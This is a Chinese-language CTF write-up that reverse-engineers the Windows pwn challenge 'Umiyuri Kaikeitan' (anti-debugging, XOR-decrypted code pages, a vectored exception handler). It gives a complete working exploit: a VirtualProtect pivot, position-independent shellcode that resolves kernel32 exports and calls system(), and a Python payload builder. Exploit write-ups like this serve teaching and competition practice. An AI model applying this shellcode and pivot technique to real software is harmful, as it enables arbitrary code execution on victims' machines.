Project Sekai CTF 2025

Project Sekai CTF 2025

2025-08-18·CompetitionsPwnWriteUpCompetitions

Project Sekai CTF 2025 - PWN

README!!!

Important!!!

在阅读本文章前,请确保自己已经大喊一声:Wonderhoy!

否则,没有否则… … …

玩家ID:7555014970674043682

加我好友打歌喵 Wonderho~i!

Umiyuri Kaikeitan

题目

ウミユリ海底譚 (Umiyuri Kaikeitan) is a song by n-buna featuring Hatsune Miku. This song has nothing to do with the challenge, I suck at naming.

By the way, the Master Maimai chart is fun to play (though I couldn’t play it because of skill issue).

ZIP password: omg_it_migu

Author: nyancat0131

❖ Note

You will need to submit a payload that exploits the binary and displays flag.png to the screen.

https://umiyuri-kaikeitan.chals.sekai.team/

附件下载

题目分析

初步分析

                                                            Checksec Results: PE
┏━━━━━━━━━━┳━━━━━┳━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ File     ┃ NX  ┃ Canary ┃ ASLR ┃ Dynamic Base ┃ High Entropy  ┃ SEH ┃ SafeSEH ┃     Force     ┃ Control Flow  ┃ Isolation ┃ Authenticode ┃
┃          ┃     ┃        ┃      ┃              ┃      VA       ┃     ┃         ┃   Integrity   ┃     Guard     ┃           ┃              ┃
┡━━━━━━━━━━╇━━━━━╇━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ game.exe │ Yes │  Yes   │ Yes  │     Yes      │      Yes      │ Yes │    /    │      No       │      Yes      │    Yes    │      No      │
└──────────┴─────┴────────┴──────┴──────────────┴───────────────┴─────┴─────────┴───────────────┴───────────────┴───────────┴──────────────┘

显而易见是winpwn(虽然但是bro之前唯一做过的winpwn还是个栈溢出ret2backdoor,刚开始拿到这个题直接冒冷汗了😰😰😰)

只给了一个exe,扔进IDA分析,main函数读入data.txt并循环异或“PJSK”然后输出到output.txt

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edi
  int v4; // ebx
  char *v5; // rsi
  int v7; // [rsp+30h] [rbp+8h]
  FILE *Stream; // [rsp+38h] [rbp+10h] BYREF

  v3 = 0;
  Stream = 0i64;
  fopen_s(&Stream, "data.txt", "rb");
  if ( !Stream )
    goto LABEL_7;
  v4 = 0;
  v7 = 1263749712;
  if ( !feof(Stream) )
  {
    v5 = (char *)&unk_140026BD0;
    do
    {
      ++v5;
      ++v3;
      *(v5 - 1) = *((_BYTE *)&v7 + v4) ^ fgetc(Stream);
      v4 = (v4 + 1) % 4;
    }
    while ( !feof(Stream) );
  }
  fopen_s(&Stream, "output.txt", "wb");
  if ( Stream )
  {
    fwrite(&unk_140026BD0, 1ui64, v3, Stream);
    return 0;
  }
  else
  {
LABEL_7:
    sub_140001020("Contact support\n");
    return 0;
  }
}

直接x64dbg或者ida调试发现没有走到main函数就寄掉了,应该是有反调试,一步一步调发现start调用的函数表

sub_140007850(&unk_14001A2C0, &unk_14001A2D8);

.rdata:000000014001A2C0 00 00 00 00 00 00 00 00     qword_14001A2C0 dq 0                    ; DATA XREF: __scrt_common_main_seh(void)+75↑o
.rdata:000000014001A2C8 50 12 00 40 01 00 00 00                     dq offset ?pre_cpp_initialization@@YAXXZ ; pre_cpp_initialization(void)
.rdata:000000014001A2D0 00 10 00 40 01 00 00 00                     dq offset sub_140001000

调用了两个函数,其中第二个函数 sub_140001000 jmp 到的函数 sub_1400192A0 明显有着动态解析dll地址的代码。

sub_1400192A0 分析

函数首先遍历PEB找加载的模块,之后从模块遍历符号表解析函数地址,调用了一些函数,之后对代码段的代码进行xor修改,最后返回。 函数解析符号的时候频繁使用了0xCBF29CE484222325,是64 bit FNV-1a算法经常使用的常数。 代码中大量使用了 FNV-1a 哈希算法(64位),用于在运行时动态解析 API 函数名和模块名,以规避静态分析。

第 1 步:获取 ntdll.dll 模块句柄

程序首先遍历PEB 获取模块列表,并遍历列表,直到找到 ntdll.dll 模块,获取其基地址。

p_InLoadOrderModuleList = &NtCurrentPeb()->Ldr->InLoadOrderModuleList;
Flink = p_InLoadOrderModuleList->Flink;
if ( p_InLoadOrderModuleList->Flink == p_InLoadOrderModuleList )
{
LABEL_9:
    v6 = 0LL;
}
else
{
    while ( 1 )
    {
        v2 = Flink[6].Flink; // 指向 FullDllName 或 BaseDllName
        if ( v2 )
        {
            v3 = (unsigned __int16)v2->Flink;
            v4 = 0xCBF29CE484222325uLL; // FNV-1a 初始哈希值
            if ( LOWORD(v2->Flink) )
            {
                do
                {
                    v2 = (struct _LIST_ENTRY *)((char *)v2 + 2);
                    v5 = v3 + 32;
                    if ( (unsigned int)v3 - 65 > 0x19 )
                        v5 = v3;
                    v3 = (unsigned __int16)v2->Flink;
                    v4 = 0x100000001B3LL * (v5 ^ (unsigned __int64)v4);
                }
                while ( LOWORD(v2->Flink) );
                if ( v4 == 0xE14B18A7ACF9C443uLL ) // 目标哈希
                    break;
            }
        }
        Flink = Flink->Flink;
        if ( Flink == p_InLoadOrderModuleList )
            goto LABEL_9;
    }
    v6 = Flink[3].Flink; // 获取 DllBase
}
第 2 步:从 ntdll.dll 中解析 VirtualAlloc 函数

这一步程序解析了ntdll.dll 模块中的符号表(IMAGE_EXPORT_DIRECTORY),遍历导出的函数的符号,对比哈希找到目标函数对应的哈希,并取出地址偏移加上模块基地址存储备用。 拿到地址还会直接调用这个函数

v7 = *(unsigned int *)((char *)&v6[8].Blink + SHIDWORD(v6[3].Blink));
if ( (_DWORD)v7
    && (v8 = 0,
        v9 = (unsigned int *)((char *)v6 + *(unsigned int *)((char *)&v6[2].Flink + v7)),
        v10 = (__int64)v6 + *(unsigned int *)((char *)&v6[1].Blink + v7 + 4),
        v11 = *(_DWORD *)((char *)&v6[1].Blink + v7),
        v12 = (__int64)v6 + *(unsigned int *)((char *)&v6[2].Flink + v7 + 4),
        v11) )
{
    while ( 1 )
    {
        v13 = 0xCBF29CE484222325uLL;
        v14 = (char *)v6 + *v9;
        v15 = *v14;
        if ( *v14 )
        {
            do
            {
                ++v14;
                v16 = v15 ^ (unsigned __int64)v13;
                v15 = *v14;
                v13 = 0x100000001B3LL * v16;
            }
            while ( *v14 );
            if ( v13 == 0xFA55E32C9D72A921uLL )
                break;
        }
        ++v8;
        ++v9;
        if ( v8 >= v11 )
            goto LABEL_16;
    }
    v17 = ((__int64 (__fastcall *)(_QWORD, __int64, __int64, __int64))((char *)v6
                                                                     + *(unsigned int *)(v10
                                                                                       + 4LL
                                                                                       * *(unsigned __int16 *)(v12 + 2LL * v8))))(
            0LL,
            88LL,
            12288LL,
            4LL);
}
else
{
LABEL_16:
    v17 = MEMORY[0](0LL, 88LL, 12288LL, 4LL);
}
第 3 步:存储函数指针堆块到全局变量
Blink_high = SHIDWORD(v6[3].Blink);
v19 = (_QWORD *)v17; // store chunk ptr(v17) into v19
qword_140026BC0 = v17; // store into global var
第 4 步:解析 ntdll.dll 中的其他函数

其余函数被解析并存储地址到v19指向的chunk中 具体代码略。

第 5 步:解析 kernel32.dll 中的函数

具体代码略。

第 6 步:使用NtSetInformationProcess反调试

反编译代码:

  ((void (__fastcall *)(__int64, __int64, _QWORD, _QWORD))v126)(-2i64, 17i64, 0i64, 0i64);

实际调试到这个函数会发现程序会崩溃,而且后续也没有使用其返回值,所以我选择把call的汇编指令给nop了,这样就能进一步调试了。

第 7 步:获取当前进程的 PE 镜像信息

通过 GetModuleHandlew(NULL) 获取当前模块基地址,然后解析 DOS 头和 NT 头。

v127 = (*(__int64 (__fastcall **)(_QWORD))(qword_140026BC0 + 64))(0LL);
v128 = 0;
v129 = v127 + *(int *)(v127 + 60);
v130 = *(unsigned __int16 *)(v129 + 6);
v131 = v129 + *(unsigned __int16 *)(v129 + 20);
第 8 步:查找 .text 节区并解密

这一段代码对text段的代码进行了异或,中间使用VirtualProtect修改了text段的权限,然后对text段进行异或解密,最后再改回去原本的权限,这里异或的内容攻击者不可控。 而且这个异或是有范围的。程序有两个代码段,它是异或了第一个代码段,第二个代码段没有异或,而这目前运行的函数和handler都在第二个.text段,不会被影响。(甚至还是整个程序最靠后的两个函数)

地址大小所属方页面信息分配类型当前保护分配保护
00007FF6BC8800000000000000001000用户game.exeIMG-R---ERWC-
00007FF6BC8810000000000000018000用户“.text”IMG-----ERWC-
00007FF6BC8990000000000000001000用户“.text”IMGER---ERWC-
00007FF6BC89A000000000000000B000用户“.rdata”IMG-R---ERWC-
00007FF6BC8A5000000000000001A000用户“.data”IMG-RW—ERWC-
00007FF6BC8BF0000000000000001000用户“.fptable”IMG-R---ERWC-
00007FF6BC8C00000000000000001000用户“.rsrc”IMG-R---ERWC-
00007FF6BC8C10000000000000001000用户“.reloc”IMG-R---ERWC-
对应代码:
if ( (_WORD)v130 )
{
    v132 = (_BYTE *)(v131 + 26);
    while ( *(v132 - 2) != 46 || *(v132 - 1) != 116 || *v132 != 101 || v132[1] != 120 || v132[2] != 116 || v132[3] )
    {
        ++v128;
        v132 += 40;
        if ( v128 >= v130 )
            goto LABEL_98;
    }
    v135 = 0;
    v136 = v127 + *(unsigned int *)(v131 + 40LL * v128 + 36);
    v137 = (*(_DWORD *)(v131 + 40LL * v128 + 32) + 4095) & 0xFFFFF000;
    v133 = qword_140026BC0;
    v138 = v136 + v137;
    v139 = v137 >> 12;
    *(_QWORD *)qword_140026BC0 = v136;
    *(_QWORD *)(v133 + 8) = v138;
    if ( v139 )
    {
        v140 = (__int64 *)&unk_140036BD8;
        v141 = 1263749712LL;
        v142 = 0LL;
        do
        {
            // LCG 生成密钥
            v143 = ((unsigned __int64)(48271 * v141) * (unsigned __int128)0x200000005uLL) >> 64;
            v144 = 48271 * (_DWORD)v141 - 0x7FFFFFFF * (unsigned int)((v143 + ((unsigned __int64)(48271 * v141 - v143) >> 1)) >> 30);
            v145 = 48271 * v144 % 0x7FFFFFFFuLL;
            *(v140 - 1) = v145 | (v144 << 32);
            v146 = (48271 * v145 * (unsigned __int128)0x200000005uLL) >> 64;
            v147 = 48271 * (_DWORD)v145 - 0x7FFFFFFF * (unsigned int)((v146 + ((48271 * v145 - v146) >> 1)) >> 30);
            v148 = ((unsigned __int64)(48271 * v147) * (unsigned __int128)0x200000005uLL) >> 64;
            v141 = 48271 * (_DWORD)v147 - 0x7FFFFFFF * (unsigned int)((v148 + ((unsigned __int64)(48271 * v147 - v148) >> 1)) >> 30);
            *v140 = v141 | (v147 << 32);
            if ( *((_DWORD *)v140 + 2) != 1 )
            {
                v149 = v142 + *(_QWORD *)v133;
                (*(void (__fastcall **)(__int64, __int64, __int64, char *))(v133 + 32))(v149, 4096LL, 4LL, &v152);
                for ( i = 0LL; i < 512; i += 2LL )
                {
                    *(_QWORD *)(v149 + 8 * i) ^= *(v140 - 1);
                    *(_QWORD *)(v149 + 8 * i + 8) ^= *v140;
                }
                v151 = qword_140026BC0;
                *((_DWORD *)v140 + 2) = 1;
                (*(void (__fastcall **)(__int64, __int64, __int64, char *))(v151 + 32))(v149, 4096LL, 1LL, &v152);
                v133 = qword_140026BC0;
            }
            ++v135;
            v142 += 4096LL;
            v140 += 3;
        }
        while ( v135 < v139 );
    }
}
第 9 步:设置内存保护并调用回调函数

第一个函数是VirtualProtect,把函数表设置可读权限。 第二个函数是RtlAddVectoredExceptionHandler(0,sub_140019000),或者AddVectoredExceptionHandler,把异常处理函数添加到 VEH 链的末尾。 下面的代码中可以看出来handler函数的参数是struct _EXCEPTION_POINTERS *ExceptionInfo,返回值是PVECTORED_EXCEPTION_HANDLER

若要将控制权返回到发生异常的点,请返回EXCEPTION_CONTINUE_EXECUTION (0xffffffff) 。 若要继续处理程序搜索,请返回EXCEPTION_CONTINUE_SEARCH (0x0) 。

后续分析handler的时候可以利用这个信息,IDA中也有这个struct,直接按y重新定义一下。

winnt.h
//
// Typedef for pointer returned by exception_info()
//

typedef struct _EXCEPTION_POINTERS {
    PEXCEPTION_RECORD ExceptionRecord;
    PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)(
    struct _EXCEPTION_POINTERS *ExceptionInfo
    );

errhandlingapi.h

WINBASEAPI
_Ret_maybenull_
PVOID
WINAPI
AddVectoredExceptionHandler(
    _In_ ULONG First,
    _In_ PVECTORED_EXCEPTION_HANDLER Handler
    );

当异常发生时,操作系统会从链的开头开始调用 VEH。因此,sub_140019000 将是最后一个被调用的 VEH(在所有其他 VEH 之后,但在结构化异常处理 SEH 之前)

(*(void (__fastcall **)(__int64, __int64, __int64, char *))(v133 + 32))(v133, 88LL, 2LL, &v153);
return (*(__int64 (__fastcall **)(_QWORD, __int64 (__fastcall *)()))(qword_140026BC0 + 48))(0LL, sub_140019000);

第一次触发异常

刚才经过分析了sub_140019000,由于其通过异或破坏了.text段代码段,程序ret到start函数调用的__scrt_common_main_seh()中,但是代码被破坏无法继续执行

00007FF6BC887868 | AC                       | lodsb                                   |
00007FF6BC887869 | 28EE                     | sub dh,ch                               |
00007FF6BC88786B | 2034E3                   | and byte ptr ds:[rbx],dh                |
00007FF6BC88786E | 6E                       | outsb                                   |
00007FF6BC88786F | 4D:E4 27                 | in al,27                                |
00007FF6BC887872 | 4B:E5 2D  <----RIP       | in eax,2D                               |
00007FF6BC887875 | 07                       | ???                                     |
00007FF6BC887876 | 8169 3B D8C41CBA         | sub dword ptr ds:[rcx+3B],BA1CC4D8      | rcx+3B:RtlpFreezeTimeBias+675B
00007FF6BC88787D | 57                       | push rdi                                |
00007FF6BC88787E | 34 7D                    | xor al,7D                               |
00007FF6BC887880 | AD                       | lodsd                                   |
00007FF6BC887881 | A4                       | movsb                                   |
00007FF6BC887882 | C746 B1 CC059EAC         | mov dword ptr ds:[rsi-4F],AC9E05CC      |
00007FF6BC887889 | 24 72                    | and al,72                               |
00007FF6BC88788B | 70 39                    | jo game.7FF6BC8878C6                    |
00007FF6BC88788D | 5C                       | pop rsp                                 |
00007FF6BC88788E | 58                       | pop rax                                 |
00007FF6BC88788F | CE                       | ???                                     |
00007FF6BC887890 | 0907                     | or dword ptr ds:[rdi],eax               |
00007FF6BC887892 | 4B:ED                    | in eax,dx                               |
00007FF6BC887894 | 14 47                    | adc al,47                               |
00007FF6BC887896 | 42:8BAC96 E4202B43       | mov ebp,dword ptr ds:[rsi+r10*4+432B20E |
00007FF6BC88789E | 9B                       | fwait                                   |
00007FF6BC88789F | 4E:AD                    | lodsq                                   |
00007FF6BC8878A1 | A2 C312E7E78F52E5AD      | mov byte ptr ds:[ADE5528FE7E712C3],al   |
00007FF6BC8878AA | AB                       | stosd                                   |
00007FF6BC8878AB | 94                       | xchg esp,eax                            |

此时就会触发EXCEPTION_ACCESS_VIOLATION,进入handler。

Handler函数分析(sub_140019000)

反调试
IsDebuggerPresent

检测是否被调试器调试

  if ( (*(qword_140026BC0 + 16))() ) //IsDebuggerPresent
  {
    v2 = *(qword_140026BC0 + 40);
    v3 = (*(qword_140026BC0 + 56))();
    v2(v3, 0LL);
  }
GetCurrentProcess + CheckRemoteDebuggerPresent

检查是否被remotedebug

  v4 = *(qword_140026BC0 + 24);
  v5 = (*(qword_140026BC0 + 56))();//GetCurrentProcess
  if ( v4(v5, &v27) && v27 )//CheckRemoteDebuggerPresent
  {
    v6 = *(qword_140026BC0 + 40);
    v7 = (*(qword_140026BC0 + 56))();
    v6(v7, 0LL);
  }
NtCurrentPeb()->BeingDebugged

使用NtCurrentPeb()->BeingDebugged检测是否被debug NtCurrentPeb()->BeingDebugged实际上没有执行函数,而是直接gs寻址找出来的。

.text:0000000140019098 058 65 48 8B 04 25 60 00 00                 mov     rax, gs:60h
.text:0000000140019098 058 00
.text:00000001400190A1 058 80 78 02 00                             cmp     byte ptr [rax+2], 0

if ( NtCurrentPeb()->BeingDebugged )
  {
    v8 = *(qword_140026BC0 + 40);
    v9 = (*(qword_140026BC0 + 56))();
    v8(v9, 0LL);
  }
GetCurrentProcess + NtQueryInformationProcess

查询ProcessDebugPort,检测是否被debug

  v29 = 0LL;
  v10 = *(qword_140026BC0 + 72);
  v11 = (*(qword_140026BC0 + 56))();//GetCurrentProcess
  if ( !v10(v11, 7LL, &v29, 8LL, 0LL) && v29 )//NtQueryInformationProcess
  {
    v12 = *(qword_140026BC0 + 40);
    v13 = (*(qword_140026BC0 + 56))();
    v12(v13, 0LL);
  }
patch方法

把这些if跳转成功的跳转的汇编指令改成force jmp,就可以跳过if内部的代码块相当于if必定判断false。 patch之后分别是:

.text:000000014001901F 058                 jmp     short loc_140019044
...
.text:000000014001906C 058                 jmp     short loc_140019098
...
.text:00000001400190A5 058                 jmp     short loc_1400190CA
...
.text:0000000140019111 058                 jmp     short loc_140019136
...
异或代码段

unk_140036BD0指向的内容是我们可以通过读取文件覆盖掉的,每次只改0x1000的代码段。结构和sub_1400192A0类似。

ExceptionRecord = a1->ExceptionRecord; // a1 是函数传的参数
  if ( a1->ExceptionRecord->ExceptionCode == 0xC0000005 )
  {
    ExceptionAddress = ExceptionRecord->ExceptionAddress;
    v16 = *qword_140026BC0;
    if ( *qword_140026BC0 <= ExceptionAddress
      && ExceptionAddress < *(qword_140026BC0 + 8)// 限制只更改第一个.text
      && ExceptionRecord->ExceptionInformation[0] != 1 ) // 限制exceptioninformation不等于1
    {
      v17 = (ExceptionAddress - v16) >> 12;
      v18 = 24 * v17;
      v19 = &unk_140036BD0 + 24 * v17;
      if ( *(v19 + 4) )
      {
        v20 = (v17 << 12) + v16;
        (*(qword_140026BC0 + 32))(v20, 4096LL, 4LL, &v28);
        for ( i = 0LL; i < 512; i += 2LL )
        {
          *(v20 + 8 * i) ^= *(&unk_140036BD0 + v18);
          *(v20 + 8 * i + 8) ^= *(&unk_140036BD0 + v18 + 8);
        }
      }
      else
      {
        v22 = v17 + 1;
        v23 = 24 * v22;
        v19 = &unk_140036BD0 + 24 * v22;
        if ( !*(v19 + 4) )
          return 0xFFFFFFFFLL;
        v20 = (v22 << 12) + v16;
        (*(qword_140026BC0 + 32))(v20, 4096LL, 4LL, &v28);
        for ( j = 0LL; j < 512; j += 2LL )
        {
          *(v20 + 8 * j) ^= *(&unk_140036BD0 + v23);
          *(v20 + 8 * j + 8) ^= *(&unk_140036BD0 + v23 + 8);
        }
      }
      v25 = qword_140026BC0;
      *(v19 + 4) = 0;
      (*(v25 + 32))(v20, 4096LL, 32LL, &v28);
      return 0xFFFFFFFFLL;
    }
  }
  return 1LL;

函数返回0xffffffff代表问题已经在这个handler解决,不需要执行别的handler,从异常的地址继续执行,返回0表示本handler解决不了,继续搜索别的handler,返回1是执行__except块。

except.h

// Defined values for the exception filter expression
#define EXCEPTION_EXECUTE_HANDLER      1
#define EXCEPTION_CONTINUE_SEARCH      0
#define EXCEPTION_CONTINUE_EXECUTION (-1)

上面的exceptionCode查到是STATUS_ACCESS_VIOLATION,同时ExceptionRecord.ExceptionInformation[1]要求不等于1

微软在文档中指出:

当异常代码未EXCEPTION_ACCESS_VIOLATION的时候,ExceptionInformation为0表示线程尝试读取不可访问的数据,为1表示线程尝试写入不可访问的地址,即进入异或需要线程尝试读取不可访问的数据。

异常代码含义
EXCEPTION_ACCESS_VIOLATION数组的第一个元素包含一个读写标志,该标志指示导致访问冲突的操作类型。 如果此值为零,则线程尝试读取不可访问的数据。 如果此值为 1,则线程尝试写入不可访问的地址。如果此值为 8,则线程导致用户模式数据执行防护 (DEP) 冲突。第二个数组元素指定不可访问数据的虚拟地址。
EXCEPTION_IN_PAGE_ERROR数组的第一个元素包含一个读写标志,该标志指示导致访问冲突的操作类型。 如果此值为零,则线程尝试读取不可访问的数据。 如果此值为 1,则线程尝试写入不可访问的地址。如果此值为 8,则线程导致用户模式数据执行防护 (DEP) 冲突。第二个数组元素指定不可访问数据的虚拟地址。第三个数组元素指定导致异常的基础 NTSTATUS 代码。
winnt.h

...
#define STATUS_ACCESS_VIOLATION          ((DWORD   )0xC0000005L)    
...
#define EXCEPTION_ACCESS_VIOLATION          STATUS_ACCESS_VIOLATION
...

经过简单的逆向,我们可以发现可控内容unk_140036BD0里面的结构是大致这样的

struct xordata{
    size_t xornum[2]; // 两个qword分别用来异或,每次for循环异或0x10的内容
    size_t used;      // 用来记录这个是已经被handler用过了
}unk_140036BD0[anUnimportantNum];

我们控制了这个结构体,就能够自定义异常位置的代码,长度最多0x10。

攻击思路

扩展可控代码长度

至此,我们拿到了0x10长度的任意代码执行。 由于远程靶机是上传payload在远程运行返回系统截图给攻击者,所以用python交互是不行了。 可惜的是,windows作为一个“混合内核”的系统,syscall并不像Linux那样能直接执行shell语句。 程序也没有提供执行命令的函数接口,远程机器的dll也没有在附件中给出。 因此只能使用地址无关的shellcode,网上都有编写教程,长度很长是无法避免的了。

我们可控的大部分区域都在读入的文件的地方,所以想办法改掉那里的权限为可执行,然后jmp过去就行了。 因此,我们可以利用handler函数末尾调用VirtualProtect函数设置权限的部分代码:

.text:0000000140019252                             loc_140019252:                          ; CODE XREF: sub_140019000+1EF↑j
.text:0000000140019252 058 48 8B 05 67 D9 00 00                    mov     rax, cs:qword_140026BC0
.text:0000000140019259 058 4C 8D 4C 24 68                          lea     r9, [rsp+58h+arg_8]
.text:000000014001925E 058 44 89 76 10                             mov     [rsi+10h], r14d
.text:0000000140019262 058 41 B8 20 00 00 00                       mov     r8d, 20h ; ' '
.text:0000000140019268 058 BA 00 10 00 00                          mov     edx, 1000h
.text:000000014001926D 058 48 8B CB                                mov     rcx, rbx
.text:0000000140019270 058 48 8B 40 20                             mov     rax, [rax+20h]
.text:0000000140019274 058 FF 15 1E 10 00 00                       call    cs:__guard_dispatch_icall_fptr
.text:000000014001927A
.text:000000014001927A                             loc_14001927A:                          ; CODE XREF: sub_140019000+209↑j
.text:000000014001927A 058 48 8B 74 24 30                          mov     rsi, [rsp+58h+var_28]
.text:000000014001927F 058 B8 FF FF FF FF                          mov     eax, 0FFFFFFFFh
.text:0000000140019284 058 48 8B 6C 24 38                          mov     rbp, [rsp+58h+var_20]
.text:0000000140019289 058 48 83 C4 40                             add     rsp, 40h
.text:000000014001928D 018 41 5E                                   pop     r14
.text:000000014001928F 010 5F                                      pop     rdi
.text:0000000140019290 008 5B                                      pop     rbx
.text:0000000140019291 000 C3                                      retn

地址0x0000000140019274 call 的是 Windows CFG 安全机制插入的代码,内部会call这个函数的第一个参数。 Windows下传参顺序:RCX,RDX,R8,R9,栈 因此我们要控制rcx为读入buf的地址,即控制rbx寄存器,我们可以在jmp到这里之前设置。 除此之外还要设置rsi+0x10是个可写的合法地址,jmp到这里之前mov rsi,rsp即可。 为了能劫持执行流到读入的buf,即我们可以提前布置的shellcode,我们可以提前伪造一下栈帧,让ret指令正好ret到shellcode。

于是一个可行的方案:

.text:0000000140002170 000 48 8D 1D 59 4A 03 00                                            lea     rbx, unk_140026BD0 
.text:0000000140002177 000 53                                                              push    rbx
.text:0000000140002178 008 83 EC 58                                                        sub     esp, 58h
.text:000000014000217B 060 E9 D2 70 01 00                                                  jmp     loc_140019252

但是预期很好,现实总会给你当头一棒。 实测不知道为啥,第一个字节,即0x48总是异或不成功。(原本内存是0xf2,异或的数值是0xba,执行xor之后数值没变,还是0xf2) 找了个能跑的开头0xf2的汇编指令,冗余的指令放到下一个页内,只要当前页最后jmp过去触发异常执行handler就行了。 于是修改后的版本:

.text:0000000140002170 000 F2 0F 10 C1                                                     movsd   xmm0, xmm1
.text:0000000140002174 000 48 8D 1D 55 4A 02 00                                            lea     rbx, unk_140026BD0
.text:000000014000217B 000 E9 8F 0E 00 00                                                  jmp     loc_14000300F

0x14000300F的地址也不是随便选的,这个地址原本存储的是一个mov [???],reg的指令,正好满足触发handler的条件。 jmp过去布置的shellcode:

.text:000000014000300F                                                     loc_14000300F:                          ; CODE XREF: __vcrt_freefls+B↑j
.text:000000014000300F 028 53                                                              push    rbx
.text:0000000140003010 030 48 83 EC 58                                                     sub     rsp, 58h
.text:0000000140003014 088 48 89 E6                                                        mov     rsi, rsp
.text:0000000140003017 088 E9 36 62 01 00                                                  jmp     loc_140019252

初始状态: xor后状态: 之后jmp过去执行VirtualProtect: 函数末尾ret到shellcode:

之后就能执行可控的非常长的shellcode了。

生成Shellcode

我选择使用Github开源项目ShellcodeCompiler

后来才知道shellcraft也能生成:

shellcraft.amd64.windows.winexec(b’cmd /C “start flag.png”’)

Source.txt:

function system("msvcrt.dll");
system("start flag.png");

编译生成shellcode:

ShellcodeCompiler_x64.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64

生成的shellcode:

; Shellcode generated using Shellcode Compiler
; https://github.com/NytroRST/ShellcodeCompiler 

sub   RSP, 0x28                        ; 40 bytes of shadow space                  
and   RSP, 0FFFFFFFFFFFFFFF0h          ; Align the stack to a multiple of 16 bytes 

xor rcx, rcx                           ; RCX = 0                                   
mov rax, gs:[rcx + 0x60]               ; RAX = PEB                                 
mov rax, [rax + 0x18]                  ; RAX = PEB->Ldr                            
mov rsi, [rax + 0x20]                  ; RSI = PEB->Ldr.InMemOrder                 
lodsq                                  ; RAX = Second module                       
Next_Module:																		

xchg rax, rsi                          ; RAX = RSI, RSI = RAX                      
lodsq                                  ; RAX = Next Module		                    
mov rcx, [rax + 0x50]					; RCX = Module Name							
cmp dword [rcx], 0x45004b				; KE                                        
jne Next_Module																	
cmp dword [rcx + 0x4], 0x4e0052		; RN                                        
jne Next_Module																	
cmp dword [rcx + 0x8], 0x4c0045		; EL                                        
jne Next_Module																	
cmp dword [rcx + 0xc], 0x320033		; 32                                        
jne Next_Module																	
mov rbx, [rax + 0x20]                  ; RBX = Base address                        

xor r8, r8                             ; Clear r8                                  
mov r8d, [rbx + 0x3c]                  ; R8D = DOS->e_lfanew offset                
mov rdx, r8                            ; RDX = DOS->e_lfanew                       
add rdx, rbx                           ; RDX = PE Header                           
xor rcx, rcx                           ; RCX = 0                                   
mov cl, 0x88                           ; RCX = 0x88 - Offset export table          
add rcx, rdx                           ; RCX = PE Header + Offset export table     
mov r8d, [rcx]                         ; R8D = Offset export table                 
add r8, rbx                            ; R8 = Export table                         
xor rsi, rsi                           ; Clear RSI                                 
mov esi, [r8 + 0x20]                   ; RSI = Offset namestable                   
add rsi, rbx                           ; RSI = Names table                         
xor rcx, rcx                           ; RCX = 0                                   
mov r9, 0x41636f7250746547             ; GetProcA                                  

Get_Function:                                                                      

inc rcx                                ; Increment the ordinal                     
xor rax, rax                           ; RAX = 0                                   
mov eax, [rsi + rcx * 4]               ; Get name offset                           
add rax, rbx                           ; Get function name                         
cmp [rax], r9                          ; GetProcA ?                                
jnz Get_Function                                                                   
xor rsi, rsi                           ; RSI = 0                                   
mov esi, [r8 + 0x24]                   ; ESI = Offset ordinals                     
add rsi, rbx                           ; RSI = Ordinals table                      
mov cx, [rsi + rcx * 2]                ; Number of function                        
xor rsi, rsi                           ; RSI = 0                                   
mov esi, [r8 + 0x1c]                   ; Offset address table                      
add rsi, rbx                           ; ESI = Address table                       
xor rdx, rdx                           ; RDX = 0                                   
mov edx, [rsi + rcx * 4]               ; EDX = Pointer(offset)                     
add rdx, rbx                           ; RDX = GetProcAddress                      
mov rdi, rdx                           ; Save GetProcAddress in RDI                

mov ecx, 0x41797261                    ; aryA                                      
push rcx                               ; Push on the stack                         
mov rcx, 0x7262694c64616f4c            ; LoadLibr                                  
push rcx                               ; Push on stack                             
mov rdx, rsp                           ; LoadLibraryA                              
mov rcx, rbx                           ; kernel32.dll base address                 
sub rsp, 0x30                                                                      
call rdi                               ; GetProcAddress                            
add rsp, 0x30                                                                      
add rsp, 0x10                          ; Clean space for LoadLibrary string        
mov rsi, rax                           ; LoadLibrary saved in RSI                  

 xor rax, rax
mov ax, 0x6c6c
push rax
mov rax, 0x642e74726376736d
push rax
mov rcx, rsp                           ; RCX = DLL name                
sub rsp, 0x30                          ; Stack space                   
call rsi                               ; LoadLibrary                   
add rsp, 64
push rax                               ; DLL base on the stack         

xor rax, rax
mov rax, 0x6d6574737973
push rax
mov rdx, rsp                           ; RDX = Function name            
mov rcx, [rsp + 8] 
sub rsp, 0x30                          ; Stack space                   
call rdi                               ; GetProcAddress                
add rsp, 56
push rax                               ; Function on the stack         

xor rax, rax
mov rax, 0x676e702e6761
push rax
mov rax, 0x6c66207472617473
push rax
push rsp

push r12 
mov rcx, [RSP + 8] 
sub rsp, 0x20                          ; Stack space                   
call [RSP + 64]
add rsp, 0x28
add RSP, 24

调试的时候发现开头sub RSP, 0x28的操作会把rsp干成非法值,考虑到没有影响便去掉了。

最终的exp:

def xor_bytes(b1: bytes, b2: bytes) -> bytes:
    return bytes(a ^ b for a, b in zip(b1, b2))
def read_bytes_from_file(filename):
    byte_data = bytearray()
    with open(filename, 'rb') as file:
        while True:
            byte = file.read(1)
            if not byte:
                break
            byte_data.extend(byte)
    return bytes(byte_data)

shellcode=read_bytes_from_file("C:\\Users\\Lenovo1\\Desktop\\ShellcodeCompiler-master\\Release\\Shellcode.bin")[4:]
print(shellcode)
payload = shellcode.ljust(0x10000,b'a')
payload+=b'\xaf\x7f\xd0\x0e\xa6\xb1\x19\x3e\x06\xcc\x57\x4f\x6d\x10\xe2\x63'
payload+=b'\x00\x00\x00\x00\x00\x00\x00\x00'
payload+=xor_bytes(b'\xf2\xd3\x0f\x69\x73\x51\x16\x3f\x08\xf7\x67\x7d\xe5\x2a\x41\x3d',b"\xf2\x0f\x10\xc1\x48\x8d\x1d\x55\x4a\x02\x00\xe9\x8f\x0e\x00\x00")
